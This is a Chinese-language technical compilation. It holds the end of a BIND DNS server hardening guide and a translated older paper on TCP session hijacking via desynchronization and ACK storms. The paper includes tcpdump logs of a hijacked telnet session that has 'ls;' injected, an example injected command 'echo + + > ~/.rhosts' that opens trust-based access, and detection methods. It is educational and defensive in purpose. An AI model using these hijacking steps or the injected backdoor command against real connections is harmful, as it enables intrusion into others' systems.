对DNS服务器进行的查询请求可以按照来源分为两类：来自外部其它DNS服务器的查询和来自本地网络的主机的查询。DNS服务器之间的查询使用交互方式（非递归方式），当外部DNS服务器进行查询时，其查询对象为被查询DNS服务器所负责管理的授权区域内的数据；而本地网络主机的查询一般都使用递归方式，其查询对象既可以是被查询DNS服务器所负责的授权区域内的数据，也可以是外部的非授权区域的数据，如果查询对象是授权区域内的数据，则DNS服务器直接将内存或缓存中的结果返回给进行查询的主机；如果查询对象是外部的非授权区域的数据，则DNS首先在缓存中进行查询，如果找到匹配的结果则返回给进行查询的主机，否则将查询请求发送给外部的DNS服务器。
早期的BIND软件没有限制进行查询的IP地址的功能，internet上的任何主机都可以向你的DNS服务器发送递归或非递归查询请求，而你的DNS服务器一律都进行回答。这不仅让他人可能滥用你的DNS服务器，而且恶意的黑客可能利用这个功能欺骗你的DNS服务器，比如上一节中所述的地址欺骗。BIND 8系列的软件加入了限制查询IP这个非常有用的功能，通过在其配置文件named.conf中使用命令allow-query来实现这个功能，例如：
options {
directory “/var/named”;
allow-query 202.96.44.0/24;
};
zone “263.net” In {
type master;
file “db.263.net”;
allow-query { any;};
};
zone “capital-online.com.cn” In {
type master;
file “db.capital-online”;
allow-query { any;};
};
在这个例子中，多次使用了allow-query命令，因为位于zone命令中的allow-query优先级别高于options命令中的allow-query，所以，此配置允许任何主机查询授权域263.net和capital-online.com.cn，只允许指定网络202.96.44.0/24上的主机查询外部的非授权域。
（4） 限制对DNS进行递归查询的IP地址
BIND 8.2.1或更高版本允许对进行递归查询的IP地址作出限制，如果递归查询请求来自不允许的IP地址，则BIND服务器软件将此查询以非递归查询对待。
在配置文件中使用allow-recursion命令实现此功能，例如：
options {
allow-recursion { 206.168.119.176/29; };
};
（5）限制区域传输
区域传输一般用于主DNS服务器和辅DNS服务器之间的数据同步，当主DNS服务器对其所管理的授权区域内的数据进行改动后，辅DNS服务器按照规定的时间间隔使用区域传输从主DNS服务器获取改动后的信息，然后刷新自己相应区域内的数据。利用区域传输功能，还可以获得整个授权区域内的所有主机信息，而这些正是恶意的黑客所感兴趣的信息，根据这些信息，黑客可以轻松地推测你的网络结构，并从主机的域名信息判断其功能或发现那些防范措施较弱的机器（比如测试用的机器）。例如：nslookup的ls命令或dig的axfr参数，就是使用区域传输来进行查询，另外还有一些黑客工具，专门使用区域传输来搜集区域内的主机信息。正常情况下，应该只允许我们信任的辅DNS服务器和主机进行区域传输。不幸的是，BIND软件的缺省设置允许任何人进行区域传输。因此，必须在配置文件中加以限制。
对于BIND 8版的软件，在配置文件named.conf中使用命令allow-transfer来限制允许区域传输的主机，例如：
options {
allow-transfer {
192.168.100.1;
202.96.44.0/24;
};
};
以上的设置只允许地址为192.168.100.1和位于网段202.96.44.0/24内的主机进行区域传输。
对于BIND 4版的软件，在配置文件named.boot中使用命令xfernet来限制允许区域传输的主机，例如：
xfrnets 192.168.100.1&255.255.255.255 202.96.44.0&255.255.255.0
注意两种版本之间的命令区别。另外要注意的是，必须同时在主DNS服务器和辅DNS服务器进行限制。
（6）限制对BIND软件的版本信息进行查询
黑客为了利用特定版本BIND软件的漏洞，首先需要确定BIND软件的版本号，缺省情况下，BIND服务器软件不限制对自身版本号的查询，所以任何人可以很容易的获取BIND软件的版本号。例如，使用dig工具的如下命令即可得到BIND的版本号：
dig @dns.example.com version.bind chaos txt
在nslookup的交互窗口中，依次输入set type=txt;set class=chaos;version.bind同样可以得到BIND的版本号。
在BIND 8版本中，有两种方法解决这个问题，一种是在named.conf中使用version命令修改版本号，例如：
options {
version “hello1.1.1”;
};
另外一种方法是在named.conf中加入以下的语句，只允许信任的主机查询版本号：
zone "bind" chaos {
type master;
file " bind";
allow-query {
信任主机的IP地址;
};
};
然后，建立一个如下的授权区域文件：
$ORIGIN bind.
@ 1D CHAOS SOA localhost. root.localhost. (
1 ; serial
3H ; refresh
1H ; retry
1W ; expiry
1D ) ; minimum
CHAOS NS localhost.
; EOF
需要注意的是，以上使用IP地址进行访问控制时，必须能够有效地防止IP地址欺骗。为了防止IP欺骗，至少应该在边界路由器上进行如下设置：如果从外部进入网络的IP包的源地址是我们内部网络的IP地址，那么必须丢弃这些数据包。

5 结束语
总之，为了保证DNS服务器的安全运行，不仅要使用可靠的服务器软件版本，而且要对DNS服务器进行正确的的配置，同时还要跟踪服务器软件和操作系统的各种漏洞，及时为发现的漏洞打补丁或进行升级。 参考文献：
1. Mockapetris, P.,“Domain Names - Concepts and Facilities”, STD 13, RFC 1034, November 1987.
2. Mockapetris,P.,“Domain names - implementation and specification”， STD 13, RFC1035， November 1987。
3. Eastlake, D. and C. Kaufman,“Domain Name System Security Extensions”, RFC 2535, March 1999.
4. Cricket Liu & Paul Albitz，“DNS and BIND（Third Edition）”，O'Reilly & Associates， September 1998.
5. Cricket Liu ，“Securing an Internet Name Server”，Acme Byte & Wire LLC，1999.
6. CERT Advisory CA-97.22，“BIND - the Berkeley Internet Name Daemon”， May 26, 1998
7. CERT Advisory CA-98.05，“Multiple Vulnerabilities in BIND”， November 16, 1998.
8. CERT Advisory CA-99-14，“Multiple Vulnerabilities in BIND”，November 10, 1999
9. AL-1999.004-AUSCERT ALERT，“Denial of Service (DoS) attacks using the Domain Name System (DNS)”，13 August 1999


IP hijack--简单的针对TCP的主动攻击

这篇文章和yuri volobuev的<<利用ARP和ICMP玩重定向的游戏>>都是很早的文章了，前面在本版贴过上篇的翻译，这次贴这篇。文章虽然早，可我仅仅是出于计算机普及的微小抱负给那些懒得看米国文字的朋友们一个机会。什么时候我们后面的那些少年能自己写出这样的文章探索这样的技术，那我就不用再来做计算
机普及啦，学风不正也许是我们的通病，以致小弟才疏学浅，连翻译都是牛头不对马嘴，永远的遗憾吧

1. 介绍

被动攻击使用sniffer，现在越来越普遍。然而人们盲目地认为主动攻击相当困难，以至于很少有人使用。下面我们描述一次非常简单的主动攻击，它成功地被用做入侵UNIX主机，它也可以和被动攻击sniffing一起使用。读者可以和1985年R. Morris提供的IP Spooffing做个比较。

2. ESTABLISHED状态

2.1 TCP协议

关于TCP协议的细节请参看RFC793。
SVR_SEQ: sequence number of the next byte to be sent by the server;
SVR_ACK: next byte to be received by the server
(the sequence number of the last byte received plus one);
SVR_WIND: server]]}s receive window;
CLT_SEQ: sequence number of the next byte to be sent by the client;
CLT_ACK: next byte to be received by the client;
CLT_WIND: client]]}s receive window;

开始没有数据交换，

SVR_SEQ = CLT_ACK and CLT_SEQ = SVR_ACK.

这个个关系一直有效，只要连接的双方都不发送数据。
一旦开始发送数据，

CLT_ACK <= SVR_SEQ <= CLT_ACK + CLT_WIND
SVR_ACK <= CLT_SEQ <= SVR_ACK + SVR_WIND

TCP报文头部有如下内容：
源端口、目标端口、序列号、应答序列号、数据区偏移，控制位：
URG: Urgent Pointer;
ACK: Acknowledgment;
PSH: Push Function;
RST: Reset the connection;
SYN: Synchronize sequence numbers;
FIN: No more data from sender;
发送方窗口尺寸、TCP报文校验和(头部和数据区都包括)、TCP紧急指针，以及TCP选项。

SEG_SEQ will refer to the packet sequence number (as seen in the header).
SEG_ACK will refer to the packet acknowledgment number.
SEG_FLAG will refer to the control bits.

在一次典型的客户端发送包中(不是重发)，SEG_SEQ被设置成CLT_SEQ, SEG_ACK被设置成CLT_ACK.TCP使用三次握手机制建立连接，客户端处在 CLOSED 状态，服务器端处在 LISTEN 状态，客户端首先发送初始序列号ISN，并设置SYN位：
SEG_SEQ = CLT_SEQ_0,
SEG_FLAG = SYN

客户端状态转换到 SYN-SENT
服务器端收到这个包后应答客户端，送出服务器端的初始序列号ISN，并设置SYN位：
SEG_SEQ = SVR_SEQ_0,
SEQ_ACK = CLT_SEQ_0+1,
SEG_FLAG = SYN
SVR_ACK = CLT_SEQ_0+1

服务器端状态转换到 SYN-RECEIVED

scz注：SYN flooding 攻击正是导致被攻击主机 SYN-RECEIVED 状态大量出现，netstat -na | grep SYN可以看到，值得注意的是这种攻击因为并不要求建立完整的TCP连接，所以源IP是完全可以伪造，以至于在 netstat 命令的显示中看到的源IP根本就不可信。TCP SYN半开扫描中如果扫描程序编写不当，也会短暂留下这个状态。

客户端收到这个包后应答服务器端，
SEG_SEQ = CLT_SEQ_0+1,
SEQ_ACK = SVR_SEQ_0+1
并设置
CLT_ACK = SVR_SEQ_0+1

客户端状态转换到 ESTABLISHED
服务器端收到这个包后进入 ESTABLISHED 状态。
现在有：
CLT_SEQ = CLT_SEQ_0+1
CLT_ACK = SVR_SEQ_0+1
SVR_SEQ = SVR_SEQ_0+1
SVR_ACK = CLT_SEQ_0+1

Server Client
LISTEN CLOSED

<- SYN,
CLT_SEQ_0

LISTEN SYN-SENT

SYN/ACK, ->
SVR_SEQ_0,
CLT_SEQ_0+1

SYN-RECEIVED ESTABLISHED

CLT_SEQ = CLT_SEQ_0 + 1
CLT_ACK = SVR_SEQ_0 + 1

<- ACK,
CLT_SEQ_0 + 1
SVR_SEQ_0+1

ESTABLISHED

SVR_SEQ = SVR_SEQ_0 + 1
SVR_ACK = CLT_SEQ_0 + 1

关闭一个连接可以用 FIN 标志或者 RST 标志，如果主机收到 RST，将进入 CLOSED 状态，释放一切与这个连接有关的资源，不会产生应答包。此后从这天连接到达的包将被丢弃。如果主机接收到 FIN，将进入 CLOSE-WAIT 状态，开始文明关闭连接。
请参看W. Richard Stevens的 <>。

在前面的讨论中我们特意省略了一些无关的细节，诸如带外数据、超时重传、丢包、并发打开
等等，这些完全可以在一次简单研究性质的攻击中被忽略。

在 ESTABLISHED 状态下，对于服务器，如果一个包的序列号位于
[SVR_ACK, SVR_ACK + SVR_WIND] 之间，对于客户端，位于 [CLT_ACK, CLT_ACK + CLT_WIND]
之间，则这个包可以被接受。如果序列号超出了范围，这个包将被丢弃，同时会发送一个应答
包，指明期待的序列号，例如：
SEG_SEQ = 200,
SVR_ACK = 100,
SVR_WIND = 50

这样 SEG_SEQ > SVR_ACK + SVR_WIND，于是服务器端发送一个应答包：
SEG_SEQ = SVR_SEQ
SEG_ACK = SVR_ACK

2.2 desynchronized 状态

术语 desynchronized state 指连接双方都处在 ESTABLISHED 状态，但没有数据传送，并且 SVR_SEQ != CLT_ACK
CLT_SEQ != SVR_ACK

只要没有数据传送，这个状态是稳定的，假如开始发送数据，有两种情形：
如果 CLT_SEQ < SVR_ACK + SVR_WIND 并且 CLT_SEQ > SVR_ACK ，则这个包被接受，包含的数据将被存储起来以备后用(依赖与具体实现)，但不会被交给用户进程，因为流的开始部分尚未到达(根据SVR_ACK判断)如果 CLT_SEQ > SVR_ACK + SVR_WIND 或者 CLT_SEQ < SVR_ACK ，这个包将被丢弃。数据丢失。
这两种情况下都不会发生数据交换。

2.3 攻击

攻击首先在TCP连接两端建立 desynchronized 状态，使之不能交换数据。第三方主机模拟生成一些对TCP连接两端来说可接受的包。

假设一个TCP会话处在 desynchronized 状态，客户端发送一个包：
SEG_SEQ = CLT_SEQ
SEG_ACK = CLT_ACK

既然 CLT_SEQ != SVR_ACK ，数据不会被接受，包被丢弃。第三方发送同样的包，但是改变了
SEG_SEQ 和 SEG_ACK (以及校验和)：
SEG_SEQ = SVR_ACK,
SEG_ACK = SVR_SEQ
这个包被服务器端接受，数据被服务器端用户进程处理。

我们用 CLT_TO_SVR_OFFSET 表示 SVR_ACK - CLT_SEQ ，用 SVR_TO_CLT_OFFSET 表示
CLT_ACK - SVR_SEQ，攻击的第一步是生成一个从客户端到服务器端的TCP报文：
SEG_SEQ <- SEG_SEQ + CLT_TO_SVR_OFFSET
SEG_ACK <- SEG_ACK - SVR_TO_CLT_OFFSET

考虑攻击者可以监听到连接，能够伪造任意的IP报文(于是可以伪装成客户端以及服务器端)，这样可以增加删除任意数据到TCP流里。比如连接是利用telnet进行远程登录，攻击者能够插入任意命令，echo + + > ~/.rhosts，并过滤掉那些不期望回显的信息，于是用户根本意识不到入侵。当然此时 CLT_TO_SVR_OFFSET 和 SVR_TO_CLT_OFFSET必须改变，新值留给读者做练习。

可以在telnet连接中关闭回显，以减少过滤输出的负担。我们做的实验中暴露出一个当前
telnet实现的bug，也许是telnet协议本身的bug。如果一个TCP报文含有如下内容，
IAC DONT ECHO 和 IAC DO ECHO，一端将回答
IAC WONT ECHO 和 IAC WILL ECHO，另一端将回答
IAC DONT ECHO 和 IAC DO ECHO 等等，产生一个无限循环

2.4 TCP Ack 风暴

攻击者产生大量的TCP ACK报文，主机接收到一个不可接受的包时将回送一个包指明期待中的序列号(通过应答序列号)，同时使用自己的序列号。这个回送的包本身也是不可接受的，于是导致无限循环。

既然这些包没有携带数据，所以当他们丢失后不会被重传，意味着这些包中的某一个丢失，无限循环就终止。每次客户端或服务器端发送数据，循环将产生。没有数据发送也就没有循环出现。如果数据被发送，同时没有攻击者在半路上应答，则这些数据被重传，产生重传风暴，最后连接崩溃，因为没有应答ACK。如果攻击者应答了，仅仅产生一次风暴。在练习中，攻击者经常因为网络负载而丢失数据包，应答的是第一次重传。

攻击者用2.2中描述的第二种情形的报文。第一种情形数据被接收者存储留做后用，我们没有检验这种情形。此时的好处是不用产生ACK风暴，但另一方面也许这种情形更危险，假如这些数据确实被处理了。另外对于小窗口连接，第一种情形很难实现。

3. 会话建立

这里提供了两种方法 desynchronizing a TCP connection。
还有一些可以想象，不过没有在这里描述。我们假设攻击者可以监听过路的报文。

3.1 Early desynchronization

攻击者监听从server到client的SYN/ACK包，即三次握手中的第二阶段，
侦测到这个包后攻击者给server一个RST，接着给一个SYN，用同样的TCP PORT，
但用不同的序列号(参看ATK_SEQ_0)

server接收到RST先关闭第一个连接，接着在同样的端口上重开一个新的连接，但
序列号不同(SVR_SEQ_0]]})，然后server回送一个SYN/ACK给client。

攻击者侦测到这个包，给server一个ACK，server进入 ESTABLISHED 状态。
client早就进入 ESTABLISHED 状态，当它接收到来自server的第一个SYN/ACK。

Server Client
LISTEN CLOSED

<- SYN,
CLT_SEQ_0

SYN-RECEIVED SYN-SENT

SYN/ACK, ->
SVR_SEQ_0,
CLT_SEQ_0+1

ESTABLISHED

CLT_SEQ = CLT_SEQ_0 + 1
CLT_ACK = SVR_SEQ_0 + 1

<= RST,
CLT_SEQ_0 + 1

CLOSED

<= SYN,
ATK_SEQ_0

SYN/ACK, ->
SVR_SEQ_0]]},
ATK_SEQ_0 + 1

SYN-RECEIVED

<= SYN,
ATK_SEQ_0 + 1,
SVR_SEQ_0]]} + 1

ESTABLISHED

SVR_SEQ = SVR_SEQ_0]]} + 1
SVR_ACK = ATK_SEQ_0 + 1

现在两端处在 desynchronized ESTABLISHED 状态

根据定义
CLT_TO_SVR_OFFSET = SVR_ACK - CLT_SEQ
SVR_TO_CLT_OFFSET = CLT_ACK - SVR_SEQ

现在
CLT_TO_SVR_OFFSET = ATK_SEQ_0 - CLT_SEQ_0 (被攻击者)
SVR_TO_CLT_OFFSET = SVR_SEQ_0 - SVR_SEQ_0]]} (被server)

攻击的成功依赖于正确地选择 CLT_TO_SVR_OFFSET 的值。错误的值也许使得client的包是可接受的，产生不期待的结果。

3.2 Null data desynchronization

下列方案可以用于一次telnet会话：

攻击者监视一次会话，不要介入。
适当的时候，攻击者发送大量的null data到server。null data意指那些不影响server的任意数据，除了改变TCP应答序列号。比如，在一个telnet会话中，攻击者发送ATK_SVR_OFFSET 这么多字节，包含序列 IAC NOP IAC NOP... 每两个字节 IAC NOP 将被telnet daemon解释，从数据流中移走，不做任何其他事情。
现在server有SVR_ACK = CLT_SEQ + ATK_SVR_OFFSET

这当然是 desynchronized 。
攻击者对client做同样的事情。

如果会话可以携带null data，这种方法非常有用。但是攻击者开始发送数据的时间非常难以确定，也许引发一些不可预知的影响。

4. 例子

下面的日志由tcpdump提供，该tcpdump位于client所在局域网中，注释由##起头。
第一个例子是35.42.1.56(client)到198.108.3.13(server)之间的一个普通telnet会话：

## The client sends a SYN packet, 1496960000 is ISN
35.42.1.56.1374 > 198.108.3.13.23: S 1496960000:1496960000(0)
win 4096
## The server answers with its ISN and the SYN flag
198.108.3.13.23 > 35.42.1.56.1374: S 1402880000:1402880000(0)
ack 1496960001 win 4096
## The client acknowledges the SYN packet
35.42.1.56.1374 > 198.108.3.13.23: . 1496960001:1496960001(0)
ack 1402880001 win 4096
## Now the two end points are in the ESTABLISHED state.
## The client sends 6 bytes of data.
35.42.1.56.1374 > 198.108.3.13.23: P 1496960001:1496960007(6)
ack 1402880001 win 4096 255 253 /C 255 251 /X
... ...
## 这是文明关闭连接的日志
198.108.3.13.23 > 35.42.1.56.1374: F 1402880059:1402880059(0)
ack 1496960025 win 4096
35.42.1.56.1374 > 198.108.3.13.23: . 1496960025:1496960025(0)
ack 1402880060 win 4096
35.42.1.56.1374 > 198.108.3.13.23: F 1496960025:1496960025(0)
ack 1402880060 win 4096
198.108.3.13.23 > 35.42.1.56.1374: . 1402880060:1402880060(0)
ack 1496960026 win 4095

下面的例子是同样的会话，只是攻击者已经开始实施入侵。desynchronized状态按照3.1中所讲述的办法建立，攻击者将加入命令"ls;"到TCP数据流中，从用户这边看象下面这个样子：

telnet 198.108.3.13
Trying 198.108.3.13 ...
Connected to 198.108.3.13.
Escape character is ]]}^]]}.

SunOS UNIX (_host)

login: lpj
s/key 70 cn33287
(s/key required)
Password:
Last login: Wed Nov 30 11:28:21 from homefries.merit.edu
SunOS Release 4.1.3_U1 (GENERIC) #2: Thu Jan 20 15:58:03 PST 1994
(lpj@_host: 1) pwd
Mail/ mbox src/
elm* resize* traceroute*
/usr/users/lpj
(lpj@_host: 2) history
1 13:18 ls ; pwd
2 13:18 history
(lpj@_host: 3) logoutConnection closed by foreign host.

用户仅仅用了pwd和history两条命令，history表明ls已经被执行了，这里ls的输出没有被过滤。下面的日志显示了client和server之间的数据交换。不幸的是，日志中一些包丢失了，被sniffer的以太网接口驱动程序丢弃了。攻击者的窗口尺寸被设置成一个不寻常的值(400, 500, 1000)，为的是便于分辨这些包。攻击者在35.42.1.146，与server隔了3跳，在从client到server的路上。

## The client sends a SYN packet, 896896000 is its ISN
35.42.1.146.1098 > 198.108.3.13.23: S 896896000:896896000(0) win 4096
## The server answers with its ISN (1544576000) and the SYN flag.
198.108.3.13.23 > 35.42.1.146.1098: S 1544576000:1544576000(0)
ack 896896001 win 4096
## The client acknowledges the SYN packet. It is in the ESTABLISHED state now.
35.42.1.146.1098 > 198.108.3.13.23: . 896896001:896896001(0)
ack 1544576001 win 4096
## The client sends some data
35.42.1.146.1098 > 198.108.3.13.23: P 896896001:896896007(6)
ack 1544576001 win 4096 255 253 /C 255 251 /X
## The attacker resets the connection on the server side
35.42.1.146.1098 > 198.108.3.13.23: R 896896101:896896101(0) win 0
## The attacker reopens the connection with an ISN of 601928704
35.42.1.146.1098 > 198.108.3.13.23: S 601928704:601928704(0) win 500
## The server answers with a new ISN (1544640000) and the SYN flag.
198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
## Since the last packet is unacceptable for the client, it acknowledges it
## with the expected sequence number (1544576001)
35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0)
ack 1544576001 win 4096
## Retransmission to the SYN packet triggered by the unacceptable last packet
198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
## The ACK storm loop
35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0)
ack 1544576001 win 4096
198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0)
ack 1544576001 win 4096
... ...
198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0)
ack 1544576001 win 4096
198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0)
ack 1544576001 win 4096
## Eventually the attacker acknowledges the server SYN packet with the attacker]]}s new
## sequence number (601928705). The data in this packet is the one previously
## sent by the client but never received.
35.42.1.146.1098 > 198.108.3.13.23: . 601928705:601928711(6)
ack 1544640001 win 400 255 253 /C 255 251 /X
## Some ACK storm
198.108.3.13.23 > 35.42.1.146.1098: . 1544640001:1544640001(0)
ack 601928711 win 4090
35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0)
ack 1544576001 win 4096
198.108.3.13.23 > 35.42.1.146.1098: . 1544640001:1544640001(0)
ack 601928711 win 4090
35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0)
ack 1544576001 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: . 601928728:601928728(0)
ack 1544640056 win 1000
## A retransmission by the client
35.42.1.146.1098 > 198.108.3.13.23: P 896896018:896896024(6)
ack 1544576056 win 4096 255 253 /A 255 252 /A
198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0)
ack 601928728 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: . 896896025:896896025(0)
ack 1544576059 win 4096
198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0)
ack 601928728 win 4096
## The user ID second character.
35.42.1.146.1098 > 198.108.3.13.23: P 896896025:896896026(1)
ack 1544576059 win 4096 p
198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0)
ack 601928728 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: . 601928731:601928731(0)
ack 1544640060 win 1000
## Retransmission
198.108.3.13.23 > 35.42.1.146.1098: P 1544640059:1544640061(2)
ack 601928730 win 4096 l p
35.42.1.146.1098 > 198.108.3.13.23: . 896896027:896896027(0)
ack 1544576061 win 4096
... ...
198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0)
ack 601928730 win 4096
35.42.1.146.1098 > 198.108.3.13.23: P 896896026:896896029(3)
ack 1544576061 win 4096 j /M /@
198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0)
ack 601928730 win 4096
... ...
198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0)
ack 601928730 win 4096
## The attacker rewrites the packet sent by the server containing the skey
## challenge
198.108.3.13.23 > 35.42.1.146.1098: P 1544576064:1544576082(18)
ack 896896029 win 1000 s / k e y 7 0 c n 3 3 2 8 7 /M /J
198.108.3.13.23 > 35.42.1.146.1098: P 1544576082:1544576109(27)
ack 896896029 win 1000 ( s / k e y r e q u i r e d ) /M /J P a s s w o r d :
35.42.1.146.1098 > 198.108.3.13.23: . 896896029:896896029(0)
ack 1544576109 win 4096
... ...
198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928733 win 4096
## Beginning of the skey password sent by the user (client)
35.42.1.146.1098 > 198.108.3.13.23: P 896896029:896896030(1)
ack 1544576109 win 4096 T
198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928733 win 4096
... ...
198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928733 win 4096
## Echo of the beginning of the skey password sent by the server
35.42.1.146.1098 > 198.108.3.13.23: P 601928733:601928734(1)
ack 1544640109 win 1000 T
35.42.1.146.1098 > 198.108.3.13.23: . 896896030:896896030(0)
ack 1544576109 win 4096
... ...
198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928734 win 4096
## The attacker rewrites the skey password packet
35.42.1.146.1098 > 198.108.3.13.23: P 601928734:601928762(28)
ack 1544640109 win 1000 A U T S H I M L O F T V A S E M O O R I D /M /@
35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0)
ack 1544576109 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0)
ack 1544576109 win 4096
198.108.3.13.23 > 35.42.1.146.1098: P 1544640263:1544640278(15)
ack 601928762 win 4096 ( l p j @ _ r a d b : 1 )
35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0)
ack 1544576109 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0)
ack 1544576278 win 4096
## The ]]}p]]} of the ]]}pwd]]} command typed by the user.
35.42.1.146.1098 > 198.108.3.13.23: P 896896058:896896059(1)
ack 1544576278 win 4096 p
198.108.3.13.23 > 35.42.1.146.1098: . 1544640278:1544640278(0)
ack 601928762 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0)
ack 1544576280 win 4096
35.42.1.146.1098 > 198.108.3.13.23: P 896896060:896896063(3)
ack 1544576280 win 4096 d /M /@
198.108.3.13.23 > 35.42.1.146.1098: . 1544640283:1544640283(0)
ack 601928767 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0)
ack 1544576280 win 4096
198.108.3.13.23 > 35.42.1.146.1098: P 1544640288:1544640307(19)
ack 601928770 win 4096 M a i l / /I /I m b o x /I /I s r c / /M /J
198.108.3.13.23 > 35.42.1.146.1098: P 1544640307:1544640335(28)
ack 601928770 win 4096 e l m * /I /I r e s i z e * /I /I t r a c e r o u t e * /M /J
35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0)
ack 1544576280 win 4096
198.108.3.13.23 > 35.42.1.146.1098: P 1544640335:1544640351(16)
ack 601928770 win 4096 / u s r / u s e r s / l p j /M /J
35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0)
ack 1544576280 win 4096
198.108.3.13.23 > 35.42.1.146.1098: P 1544640351:1544640366(15)
ack 601928770 win 4096 ( l p j @ _ r a d b : 2 )
35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0)
ack 1544576280 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: P 601928773:601928775(2)
ack 1544640369 win 1000 t o
198.108.3.13.23 > 35.42.1.146.1098: P 1544640369:1544640371(2)
ack 601928775 win 4096 t o
35.42.1.146.1098 > 198.108.3.13.23: . 896896068:896896068(0)
ack 1544576366 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: P 896896068:896896072(4)
ack 1544576368 win 4096 r y /M /@
198.108.3.13.23 > 35.42.1.146.1098: . 1544640371:1544640371(0)
ack 601928775 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0)
ack 1544576368 win 4096
## The ]]}ry]]} of the ]]}history]]} command sent by the client
35.42.1.146.1098 > 198.108.3.13.23: P 896896068:896896072(4)
ack 1544576368 win 4096 r y /M /@
198.108.3.13.23 > 35.42.1.146.1098: . 1544640371:1544640371(0)
ack 601928775 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0)
ack 1544576368 win 4096
## The same packet rewritten by the attacker.
35.42.1.146.1098 > 198.108.3.13.23: P 601928775:601928779(4)
ack 1544640371 win 1000 r y /M /@
## answer to the history command sent by the server. We can notice the ]]}ls ;]]} inclusion
## before the ]]}pwd]]}
198.108.3.13.23 > 35.42.1.146.1098: P 1544640371:1544640437(66)
ack 601928779 win 4096 r y /M /@ /M /J 1 /I 1 1 : 2 8 /I l s ; p w d /M /J 2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168 /@ /G /@ /@ /@ /X /@ /H 137 148 /@ /@
35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0)
ack 1544576368 win 4096
... ...
35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0)
ack 1544576368 win 4096
## The same packet rewritten by the attacker.
198.108.3.13.23 > 35.42.1.146.1098: P 1544576368:1544576434(66)
ack 896896072 win 1000 r y /M /@ /M /J 1 /I 1 1 : 2 8 /I l s ; p w d /M /J 2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168 /@ /H /@ /@ /@ /X /@ /H 137 148 /@ /@
198.108.3.13.23 > 35.42.1.146.1098: . 1544640437:1544640437(0)
ack 601928779 win 4096
... ...
## The user log out.
35.42.1.146.1098 > 198.108.3.13.23: P 601928781:601928782(1)
ack 1544640437 win 1000 g
198.108.3.13.23 > 35.42.1.146.1098: . 1544576438:1544576438(0)
ack 896896074 win 1000
198.108.3.13.23 > 35.42.1.146.1098: P 1544576435:1544576436(1)
ack 896896074 win 1000 o
198.108.3.13.23 > 35.42.1.146.1098: P 1544640439:1544640440(1)
ack 601928782 win 4096 g
35.42.1.146.1098 > 198.108.3.13.23: P 896896075:896896076(1)
ack 1544576436 win 4096 o
198.108.3.13.23 > 35.42.1.146.1098: . 1544640440:1544640440(0)
ack 601928782 win 4096
35.42.1.146.1098 > 198.108.3.13.23: . 896896076:896896076(0)
ack 1544576436 win 4096

几乎所有的带有ACK标志但没有数据的报文被作为不可接受的包应答。在攻击者制造的ACK风暴中，大量的重传导致网络负载的升高。测试中搜集到的数据表明一个包发送出去可以引发10到300个空ACK报文。

5.察觉这种攻击

这里提供了三种方法，但可以想象，有很多办法可以察觉这种入侵。

Desynchronized状态察觉
通过比较连接两端的序列号，用户可以辨别出连接是否处在 desynchronized 状态。如果我们假设序列号在TCP流中传输，没有被攻击者改变，这种方法是切实可行的，

Local Ethernet Transit Ethernet
Total TCP/s 80-100 (60-80) 1400 (87)
Total Ack 25-75 (25-45) 500 (35)
Total Telnet 10-20 (10-25) 140 (10)
Total Telnet Ack 5-10 (45-55) 45 (33)

Percentage of ACK packets without the attack.

Ack风暴察觉

可以根据TCP传输统计量来察觉攻击行为的存在，但这要求相当专业化的理论知识。

Local connection Remote connection
Total Telnet 80-400 (60-85) 30-40 (30-35)
Total Telnet Ack 75-400 (90-99) 20-25 (60-65)

Percentage of ACK packets during an attack.

丢包率的增加有下列原因：
ACK风暴导致额外的网络负载
攻击者的sniffer丢弃了一些包

